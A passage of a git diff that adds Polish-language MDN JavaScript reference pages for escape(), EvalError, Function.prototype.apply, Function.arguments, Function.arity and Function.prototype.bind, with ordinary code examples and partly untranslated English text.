+<p>The hexadecimal form for characters, whose code unit value is 0xFF or less, is a two-digit escape sequence: %xx. For characters with a greater code unit, the four-digit format %<strong>u</strong>xxxx is used.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">escape("abc123"); // "abc123"
+escape("äöü"); // "%E4%F6%FC"
+escape("ć"); // "%u0107"
+
+// znaki specjalne
+escape("@*_+-./"); // "@*_+-./"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Defined in the (informative) Compatibility Annex B</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-escape-string', 'escape')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/evalerror/index.html b/files/pl/web/javascript/referencje/obiekty/evalerror/index.html
new file mode 100644
index 0000000000..6fd39a8789
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/evalerror/index.html
@@ -0,0 +1,87 @@
+---
+title: EvalError
+slug: Web/JavaScript/Referencje/Obiekty/EvalError
+tags:
+ - EvalError
+ - JavaScript
+ - Klasa
+ - Obiekt
+ - Referencja
+translation_of: Web/JavaScript/Reference/Global_Objects/EvalError
+---
+<div>{{JSRef}}</div>
+
+<p>Obiekt <strong><code>EvalError</code></strong> wskazuje na błąd dotyczący globalnej funkcji {{jsxref("Global_Objects/eval", "eval()")}}. Ten wyjątek nie jest już wywoływany przez JavaScript, jednak obiekt <code>EvalError</code> został zachowany ze względu na kompatybilność wsteczną.</p>
+
+<h2 id="Konstruktor">Konstruktor</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError/EvalError"><code>EvalError()</code></a></dt>
+ <dd>Tworzy nowy obiekt <code>EvalError</code>.</dd>
+</dl>
+
+<h2 id="Własności_instancji">Własności instancji</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}</dt>
+ <dd>Treść błędu. Choć ECMA-262 określa, że {{jsxref("EvalError")}} powinien mieć swoją własną wartość <code>message</code>, w <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> jest ona dziedziczona z {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}</dt>
+ <dd>Nazwa błędu. Dziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}</dt>
+ <dd>Ścieżka do pliku, w którym został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}</dt>
+ <dd>Numer linii w pliku, gdzie został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}</dt>
+ <dd>Kolumna w linii, gdzie został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}</dt>
+ <dd>Stos wywołań. Dziedziczone z {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p><code>EvalError</code> nie jest używany w obecnej specyfikacji ECMAScript, zatem nie będzie wywoływany podczas wykonania programu – jednakże sam obiekt został zachowany ze względu na wsteczną kompatybilność z wcześniejszymi wersjami specyfikacji.</p>
+
+<h3 id="Tworzenie_EvalError">Tworzenie EvalError</h3>
+
+<pre class="brush: js notranslate">try {
+ throw new EvalError('Hello', 'someFile.js', 10);
+} catch (e) {
+ console.log(e instanceof EvalError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "EvalError"
+ console.log(e.fileName); // "someFile.js"
+ console.log(e.lineNumber); // 10
+ console.log(e.columnNumber); // 0
+ console.log(e.stack); // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.EvalError")}}</p>
+</div>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/apply/index.html b/files/pl/web/javascript/referencje/obiekty/function/apply/index.html
new file mode 100644
index 0000000000..411b47423a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/apply/index.html
@@ -0,0 +1,289 @@
+---
+title: Function.prototype.apply()
+slug: Web/JavaScript/Referencje/Obiekty/Function/apply
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code>apply()</code> wywołuje daną funkcję podstawiając daną wartość <code>this</code> i argumenty <span id="result_box" lang="pl"><span>przedstawione</span> <span>w postaci tablicy</span></span> (lub obiektu tablicopodobnego (<a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array-like object</a>)).</p>
+
+<div class="note">
+<p><strong>Notka:</strong> <span id="result_box" lang="pl"><span>Składnia</span> <span>tej funkcji jest</span> <span>niemal identyczna </span><span>do</span></span> {{jsxref("Function.call", "call()")}}, podstawową różnicą jest to, iż <code>call()</code> przyjmuje <strong>listę argumentów</strong>, podczas gdy <code>apply()</code> akceptuje <strong>pojedynczą tablicę argumentów</strong>.</p>
+</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><em><var>fun</var>ction</em>.apply(<var>thisArg, </var>[<var>argsArray</var>])</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>Optional. The value of <code>this</code> provided for the call to <em><code>func</code></em>. Note that <code>this</code> may not be the actual value seen by the method: if the method is a function in {{jsxref("Strict_mode", "non-strict mode", "", 1)}} code, {{jsxref("null")}} and {{jsxref("undefined")}} will be replaced with the global object, and primitive values will be boxed.</dd>
+ <dt><code>argsArray</code></dt>
+ <dd>Optional. An array-like object, specifying the arguments with which <em><code>fun</code></em> should be called, or {{jsxref("null")}} or {{jsxref("undefined")}} if no arguments should be provided to the function. Starting with ECMAScript 5 these arguments can be a generic array-like object instead of an array. See below for {{anch("Browser_compatibility", "browser compatibility")}} information.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Wynik wywoływanej funkcji z określoną wartością <code>this</code> i argumentami.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p><span id="result_box" lang="pl"><span>Można</span> <span>przypisać inny</span> <span>obiekt</span> <code>this</code> <span>podczas wywoływania</span> <span>istniejącej</span> <span>funkcji.</span></span> <code>this</code> <span id="result_box" lang="pl"><span>odnosi się do</span> <span>bieżącego obiektu</span><span>,</span> <span>obiektu</span> <span>wywołującego. </span></span><span lang="pl"><span>Z</span> <span>apply</span><span> można</span> <span>napisać metodę</span> <span>raz, a następnie</span> <span>dziedziczyć</span> <span>ją</span> <span>w innym</span> <span>obiekcie,</span> <span>bez konieczności</span> <span>przepisywania</span> <span>metody</span> <span>dla nowego</span> <span>obiektu.</span></span></p>
+
+<p><code>apply</code> jest bardzo podobne do {{jsxref("Function.call", "call()")}}, <span class="short_text" id="result_box" lang="pl"><span>z wyjątkiem typu danych</span> <span>argumentów</span><span>, które wspiera</span><span>. </span></span><span id="result_box" lang="pl"><span>Można</span> <span>używać tablicy</span> <span>argumentów</span> <span>zamiast</span> <span>zestawu argumentów (parametrów</span><span>).</span></span> Z metodą <code>apply</code>, możesz używać tablic w sensie dosłownym, na przykład <code><em>fun</em>c.apply(this, ['eat', 'bananas'])</code>, lub obiektów typu {{jsxref("Array")}}, na przykład, <code><em>func</em>.apply(this, new Array('eat', 'bananas'))</code>.</p>
+
+<p>Można używać również {{jsxref("Funkcje/arguments", "arguments")}} dla parametru <code>argsArray</code>. <code>arguments</code> jest zmienną lokalną dostępną wewnątrz każdej funkcji. Można to zastosować<span id="result_box" lang="pl"><span> do wszystkich</span> <span>nieokreślonych</span> <span>argumentów</span> wywoływanego <span>obiektu</span><span>.</span></span> <span id="result_box" lang="pl"><span>Tak więc</span> <span>nie trzeba</span> <span>znać</span> <span>argumentów</span> <span>wywoływanego obiektu</span> <span>przy</span> <span>użyciu</span> <span>metody</span> <span><code>apply</code>. </span></span> Możesz użyć <code>arguments</code>, aby <span class="short_text" id="result_box" lang="pl"><span>przekazać</span> <span>wszystkie argumenty do wywoływanego obiektu. </span></span><span id="result_box" lang="pl"><span>Wywołany</span> <span>obiekt</span> <span>jest</span> <span>odpowiedzialny za obsługę</span> <span>otrzymanych argumentów</span><span>.</span></span></p>
+
+<p><span lang="pl"><span>Od </span></span>ECMAScript 5th Edition możliwe jest również używanie wszelkiego rodzaju obiektów „tablicopodobnych” (array-like), co w praktyce oznacza, że obiekt taki musi mieć własność <code>length</code> i całkowite własności (indeksy) w zakresie <code>(0..length-1)</code>. Przykładowo możesz użyć {{domxref("NodeList")}} lub własnego oiektu jak np. <code>{ 'length': 2, '0': 'eat', '1': 'bananas' }</code>.</p>
+
+<div class="note">
+<p>Większość przeglądarek, w tym Chrome 14 i Internet Explorer 9, w dalszym ciągu nie akceptuje obiektów tablicopodobnych i będzie wyrzucać wyjątek.</p>
+</div>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_apply_do_dodania_tablicy_do_innej_tablicy">Użycie <code>apply</code> do dodania tablicy do innej tablicy</h3>
+
+<p>Możemy użyć metody <code>push</code> do dodania elementu do tablicy. I, jako że <code>push</code> przyjmuje zmienną liczbę argumentów, możemy również dodać wiele elementów naraz – ale jeśli faktycznie przekażemy tablicę do funkcji <code>push</code>, wówczas rzeczywiście doda ona tablicę jako pojedynczy element, zamiast dodać jej elementy, więc skończymy z tablicą wewnątrz tablicy. Co jeśli to nie jest to, co chcieliśmy osiągnąć? <code>concat</code> ma zachowanie takie, jakiego oczekiwalibyśmy w tym przypadku, jednak funkcja ta nie dodaje w rzeczywistości tablicy do istniejącej tablicy, ale tworzy i zwraca nową. Ale chcieliśmy zmodyfikować naszą istniejącą tablicę… Więc co teraz? Napisać pętlę? No chyba nie?</p>
+
+<p><code>apply</code> przychodzi na ratunek!</p>
+
+<pre class="brush: js">var array = ['a', 'b'];
+var elements = [0, 1, 2];
+array.push.apply(array, elements);
+console.info(array); // ["a", "b", 0, 1, 2]
+</pre>
+
+<p> </p>
+
+<h3 id="Using_apply_and_built-in_functions">Using <code>apply</code> and built-in functions</h3>
+
+<p> </p>
+
+<p>Clever usage of <code>apply</code> allows you to use built-ins functions for some tasks, that otherwise probably would have been written by looping over the array values. As an example here we are going to use <code>Math.max</code>/<code>Math.min</code>, to find out the maximum/minimum value in an array.</p>
+
+<pre class="brush: js">// min/max number in an array
+var numbers = [5, 6, 2, 3, 7];
+
+// using Math.min/Math.max apply
+var max = Math.max.apply(null, numbers);
+// This about equal to Math.max(numbers[0], ...)
+// or Math.max(5, 6, ...)
+
+var min = Math.min.apply(null, numbers);
+
+// vs. simple loop based algorithm
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i &lt; numbers.length; i++) {
+ if (numbers[i] &gt; max) {
+ max = numbers[i];
+ }
+ if (numbers[i] &lt; min) {
+ min = numbers[i];
+ }
+}
+</pre>
+
+<p>But beware: in using <code>apply</code> this way, you run the risk of exceeding the JavaScript engine's argument length limit. The consequences of applying a function with too many arguments (think more than tens of thousands of arguments) vary across engines (JavaScriptCore has hard-coded <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=80797">argument limit of 65536</a>), because the limit (indeed even the nature of any excessively-large-stack behavior) is unspecified. Some engines will throw an exception. More perniciously, others will arbitrarily limit the number of arguments actually passed to the applied function. To illustrate this latter case: if such an engine had a limit of four arguments (actual limits are of course significantly higher), it would be as if the arguments <code>5, 6, 2, 3</code> had been passed to <code>apply</code> in the examples above, rather than the full array.</p>
+
+<p>If your value array might grow into the tens of thousands, use a hybrid strategy: apply your function to chunks of the array at a time:</p>
+
+<pre class="brush: js">function minOfArray(arr) {
+ var min = Infinity;
+ var QUANTUM = 32768;
+
+ for (var i = 0, len = arr.length; i &lt; len; i += QUANTUM) {
+ var submin = Math.min.apply(null,
+ arr.slice(i, Math.min(i+QUANTUM, len)));
+ min = Math.min(submin, min);
+ }
+
+ return min;
+}
+
+var min = minOfArray([5, 6, 2, 3, 7]);
+</pre>
+
+<p> </p>
+
+<h3 id="Using_apply_to_chain_constructors">Using <code>apply</code> to chain constructors</h3>
+
+<p> </p>
+
+<p>You can use <code>apply</code> to chain {{jsxref("Operators/new", "constructors", "", 1)}} for an object, similar to Java. In the following example we will create a global {{jsxref("Function")}} method called <code>construct</code>, which will enable you to use an array-like object with a constructor instead of an arguments list.</p>
+
+<pre class="brush: js">Function.prototype.construct = function(aArgs) {
+ var oNew = Object.create(this.prototype);
+ this.apply(oNew, aArgs);
+ return oNew;
+};
+</pre>
+
+<div class="note" style="height: 250px; overflow: auto;">
+<p><strong>Note:</strong> The <code>Object.create()</code> method used above is relatively new. For alternative methods, please consider one of the following approaches:</p>
+
+<p>Using {{jsxref("Object/__proto__", "Object.__proto__")}}:</p>
+
+<pre class="brush: js">Function.prototype.construct = function (aArgs) {
+ var oNew = {};
+ oNew.__proto__ = this.prototype;
+ this.apply(oNew, aArgs);
+ return oNew;
+};
+</pre>
+
+<p>Using <a href="/en-US/docs/Web/JavaScript/Closures">closures</a>:</p>
+
+<pre class="brush: js">Function.prototype.construct = function(aArgs) {
+ var fConstructor = this, fNewConstr = function() {
+ fConstructor.apply(this, aArgs);
+ };
+ fNewConstr.prototype = fConstructor.prototype;
+ return new fNewConstr();
+};</pre>
+
+<p>Using the {{jsxref("Function")}} constructor:</p>
+
+<pre class="brush: js">Function.prototype.construct = function (aArgs) {
+ var fNewConstr = new Function("");
+ fNewConstr.prototype = this.prototype;
+ var oNew = new fNewConstr();
+ this.apply(oNew, aArgs);
+ return oNew;
+};
+</pre>
+</div>
+
+<p>Example usage:</p>
+
+<pre class="brush: js">function MyConstructor() {
+ for (var nProp = 0; nProp &lt; arguments.length; nProp++) {
+ this['property' + nProp] = arguments[nProp];
+ }
+}
+
+var myArray = [4, 'Hello world!', false];
+var myInstance = MyConstructor.construct(myArray);
+
+console.log(myInstance.property1); // logs 'Hello world!'
+console.log(myInstance instanceof MyConstructor); // logs 'true'
+console.log(myInstance.constructor); // logs 'MyConstructor'
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> This non-native <code>Function.construct</code> method will not work with some native constructors; like {{jsxref("Date")}}, for example. In these cases you have to use the {{jsxref("Function.prototype.bind")}} method. For example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: <code>[2012, 11, 4]</code>; in this case you have to write something like: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code>. This is not the best way to do things, and probably not to be used in any production environment.</p>
+</div>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}} object</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html b/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html
new file mode 100644
index 0000000000..abbb63eef4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html
@@ -0,0 +1,41 @@
+---
+title: Function.arguments
+slug: Web/JavaScript/Referencje/Obiekty/Function/arguments
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments
+---
+<p>{{JSRef}}{{ Deprecated_header() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Obiekt tablicopodobny odpowiadający argumentom przekazywanym funkcji.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Należy użyć obiektu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments">arguments</a></code> dostępnego wewnątrz funkcji zamiast <code>Function.arguments</code>.</p>
+
+<p>W przypadku rekurencji, tzn. jeśli funkcja <code>f</code> pojawia się kilkakrotnie na stosie wywołania, wartość of <code>f.arguments</code> reprezentuje argumenty odpowiadające ostatniemu wywołaniu funkcji.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<pre class="brush: js">function f(n) { g(n-1) }
+
+function g(n) {
+ console.log("przed: " + g.arguments[0]);
+ if(n&gt;0) { f(n); }
+ console.log("po: " + g.arguments[0]);
+}
+f(2);
+</pre>
+
+<p>wyświetli:</p>
+
+<pre class="eval">przed: 1
+przed: 0
+po: 0
+po: 1
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/arity/index.html b/files/pl/web/javascript/referencje/obiekty/function/arity/index.html
new file mode 100644
index 0000000000..37a136e443
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/arity/index.html
@@ -0,0 +1,23 @@
+---
+title: Function.arity
+slug: Web/JavaScript/Referencje/Obiekty/Function/arity
+tags:
+ - Function
+ - JavaScript
+ - Obsolete
+ - Property
+ - Unimplemented
+ - przestarzały
+translation_of: Archive/Web/JavaScript/Function.arity
+---
+<p>{{JSRef}}{{ obsolete_header() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>arity</code> jest zewnętrzna dla funkcji i wskazuje, ile argumentów oczekuje funkcja. Ta właśność jest przestarzała, proszę używać {{jsxref("Function.prototype.length")}}, która dostarcza liczbę argumentów wymaganych przez deklarację funkcji.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.length")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/bind/index.html b/files/pl/web/javascript/referencje/obiekty/function/bind/index.html
new file mode 100644
index 0000000000..028db6b6d4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/bind/index.html
@@ -0,0 +1,332 @@
+---
+title: Function.prototype.bind()
+slug: Web/JavaScript/Referencje/Obiekty/Function/bind
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
+---
+<div>{{JSRef}}<br>
+Metoda <span class="seoSummary"><code><strong>bind()</strong></code> </span> tworzy nową funkcję, której wywołanie powoduje ustawienie <strong>this</strong> na podaną wartość, z podaną sekwencją argumentów poprzedzającą dowolną podaną podczas wywołania nowej funkcji.<br>
+ </div>
+
+<div>{{EmbedInteractiveExample („pages / js / function-bind.html”, „taller”)}}<br>
+Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do projektu interaktywnych przykładów, sklonuj https://github.com/mdn/interactive-examples i wyślij nam prośbę o pobranie.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">let boundFunc = <var>func</var>.bind(thisAtr[, <var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]]])
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code><var>thisAtr</var></code></dt>
+ <dd>Wartość, która ma być przekazana jako <strong>this</strong> do funkcji docelowej func po wywołaniu funkcji powiązanej. Wartość jest ignorowana, jeśli funkcja powiązana jest konstruowana przy użyciu operatora {{jsxref („Operators / new”, „new”)}}. Podczas używania funkcji <strong>bind</strong> do utworzenia funkcji (dostarczonej jako wywołanie zwrotne) wewnątrz setTimeout, każda prymitywna wartość przekazywana, gdy <strong>thisAtr</strong> jest konwertowany na obiekt. Jeśli nie podano żadnych argumentów, aby powiązać (bind), lub jeśli thisArg jest <strong>null</strong> lub <strong>undefined</strong>, <strong>this</strong> z zakresu wykonania jest traktowany jako <strong>thisAtr</strong> dla nowej funkcji.</dd>
+ <dt><code><var>arg1</var>, <var>arg2</var>, ...<var>argN</var></code> {{optional_inline}}</dt>
+ <dd>Argumenty poprzedzające argumenty dostarczone funkcji powiązanej podczas wywoływania func.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Kopia podanej funkcji z podaną tą wartością i początkowymi argumentami (jeśli podano).</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Funkcja <strong>bind</strong>() tworzy nową funkcję wiązania (bound function), która jest exotic function object (termin z ECMAScript 2015), który zawija oryginalny obiekt funkcji. Wywołanie funkcji powiązanej zazwyczaj skutkuje wykonaniem jej owrapowanej funkcji.</p>
+
+<p>Funckja wiązania <strong>(bound function)</strong> ma następujące właściwości wewnętrzne:</p>
+
+<dl>
+ <dt><strong><code>[[BoundTargetFunction]]</code> </strong></dt>
+ <dd>The wrapped function object</dd>
+ <dt><code><strong>[[BoundThis]]</strong></code></dt>
+ <dd>The value that is always passed as <code>this</code> value when calling the wrapped function.</dd>
+ <dt><code><strong>[[BoundArguments]]</strong></code></dt>
+ <dd>A list of values whose elements are used as the first arguments to any call to the wrapped function.</dd>
+ <dt><code><strong>[[Call]]</strong></code></dt>
+ <dd>Executes code associated with this object. Invoked via a function call expression. The arguments to the internal method are a <code>this</code> value and a list containing the arguments passed to the function by a call expression.</dd>
+</dl>
+
+<p>When a bound function is called, it calls internal method <code>[[Call]]</code> on <code>[[BoundTargetFunction]]</code>, with following arguments <code>Call(<var>boundThis</var>, ...<var>args</var>)</code>. Where <code><var>boundThis</var></code> is <code>[[BoundThis]]</code>, <code><var>args</var></code> is <code>[[BoundArguments]]</code>, followed by the arguments passed by the function call.</p>
+
+<p>A bound function may also be constructed using the {{jsxref("Operators/new", "new")}} operator. Doing so acts as though the target function had instead been constructed. The provided <code>this</code> value is ignored, while prepended arguments are provided to the emulated function.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Creating_a_bound_function">Creating a bound function</h3>
+
+<p>The simplest use of <code>bind()</code> is to make a function that, no matter how it is called, is called with a particular <code>this</code> value.</p>
+
+<p>A common mistake for new JavaScript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its <code>this</code> (e.g., by using the method in callback-based code).</p>
+
+<p>Without special care, however, the original object is usually lost. Creating a bound function from the function, using the original object, neatly solves this problem:</p>
+
+<pre class="brush: js notranslate">this.x = 9; // 'this' refers to global 'window' object here in a browser
+const module = {
+ x: 81,
+ getX: function() { return this.x; }
+};
+
+module.getX();
+// returns 81
+
+const retrieveX = module.getX;
+retrieveX();
+// returns 9; the function gets invoked at the global scope
+
+// Create a new function with 'this' bound to module
+// New programmers might confuse the
+// global variable 'x' with module's property 'x'
+const boundGetX = retrieveX.bind(module);
+boundGetX();
+// returns 81
+</pre>
+
+<p><strong>Funkcje częściowo zastosowane</strong><br>
+ Kolejnym najprostszym zastosowaniem bind () jest utworzenie funkcji z wcześniej określonymi argumentami początkowymi.</p>
+
+<p>Argumenty te (jeśli występują) są zgodne z podaną wartością, a następnie są wstawiane na początku argumentów przekazywanych do funkcji docelowej, a następnie wszelkie argumenty przekazywane funkcja powiązana w momencie jej wywołania.</p>
+
+<pre class="brush: js notranslate">function list() {
+ return Array.prototype.slice.call(arguments);
+}
+
+function addArguments(arg1, arg2) {
+ return arg1 + arg2
+}
+
+const list1 = list(1, 2, 3);
+// [1, 2, 3]
+
+const result1 = addArguments(1, 2);
+// 3
+
+// Create a function with a preset leading argument
+const leadingThirtysevenList = list.bind(null, 37);
+
+// Create a function with a preset first argument.
+const addThirtySeven = addArguments.bind(null, 37);
+
+const list2 = leadingThirtysevenList();
+// [37]
+
+const list3 = leadingThirtysevenList(1, 2, 3);
+// [37, 1, 2, 3]
+
+const result2 = addThirtySeven(5);
+// 37 + 5 = 42
+
+const result3 = addThirtySeven(5, 10);
+// 37 + 5 = 42
+// (the second argument is ignored)
+
+
+</pre>
+
